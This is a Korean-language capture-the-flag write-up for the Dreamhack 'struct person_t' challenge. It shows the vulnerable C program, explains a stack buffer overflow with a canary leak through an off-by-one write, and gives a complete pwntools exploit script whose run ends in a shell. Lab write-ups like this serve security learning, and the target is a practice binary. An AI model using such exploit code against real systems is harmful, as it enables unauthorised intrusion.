dreamhack - struct person_t writeup
[dreamhack] struct person_t writeup
1. 문제

struct person_t
I created a program with my own structure, struct person_t! 🧑🦱
https://dreamhack.io/wargame/challenges/18662. 풀이
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
struct person_t {
char nationality[32];
char name[56];
double height;
int age;
char male_or_female[4];
};
void get_shell() {
execve("/bin/sh", 0, 0);
}
void read_input(char *ptr, size_t len) {
ssize_t readn;
readn = read(0, ptr, len);
if (readn < 1) {
puts("read() error");
exit(1);
}
if (ptr[readn - 1] == '\n') {
ptr[readn - 1] = '\0';
}
}
int main() {
struct person_t person;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
printf("Enter name: ");
read_input(person.name, 56);
printf("Enter age: ");
scanf("%d", &person.age);
printf("Enter height: ");
scanf("%lf", &person.height);
printf("Enter M (Male) or F (Female): ");
read_input(person.male_or_female, 5);
printf("Hi %s.\n", person.name);
printf("What's your nationality? ");
read_input(person.nationality, 128);
return 0;
}
person_t
구조체가 존재하고, 여기서 name
, age
, height
, male_or_female
을 입력받은 후, name
을 출력해준다.
이후 nationality
에 입력을 받는데, 구조체의 크기는 108바이트임에도 불구하고 128바이트를 입력받을 수 있어서 bof
가 발생한다.
그리고 male_or_female
을 입력할 때도 4바이트 크기인데 5바이트를 입력할 수 있다.
사실상 스택에 구조체만 존재하고, 이 뒤에 canary
가 있기 때문에 첫번째 name
출력 때 leak을 해야한다. 그런데 구조체에 모든 값을 꽉채우고, 특히 male_or_female
에 5바이트를 입력할 수 있기 때문에 canary
의 1바이트 \x00
도 덮어씌울 수 있고 이에 따라 canary
leak이 가능하다.
이렇게 얻은 canary
를 스택 더미 뒤에 덮고 리턴 주소에는 get_shell
의 주소를 덮어주면 끝이다.
다만, 이 바이너리가 stripped
가 되어있어서 디버깅 심볼이 아무것도 보이지않는다. 그래서 나는 일단 IDA를 써서 get_shell
함수주소를 구하기는 했는데 (스택에서의 구조체 위치도 구하기 편했다) objdump -d chall
을 이용해서 execve
함수가 위치하는 곳을 찾아서 할 수도 있다.
from pwn import *
p = process("./chall")
p = remote("host8.dreamhack.games", 22061)
elf = ELF("./chall")
p.sendafter(b": ", b"a" * 56)
print(pow(2,16))
p.sendlineafter(b": ", str(pow(2,32) - 1))
p.sendlineafter(b": ", str(3.14))
p.sendafter(b": ", b"abcde")
p.recvuntil(b"abcde")
canary = u64(b"\x00" + p.recv(7))
payload = b"a" * 104
payload += p64(canary)
payload += b"b" * 8
payload += p64(0x401216)
p.sendafter(b"? ", payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/struct_person_t/deploy$ python3 e_chall.py
[+] Starting local process './chall': pid 2928722
65536
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/struct_person_t/deploy/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
/home/ubuntu/dreamhack/level2/struct_person_t/deploy/e_chall.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b": ", str(pow(2,32) - 1))
/home/ubuntu/dreamhack/level2/struct_person_t/deploy/e_chall.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b": ", str(3.14))
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
해결~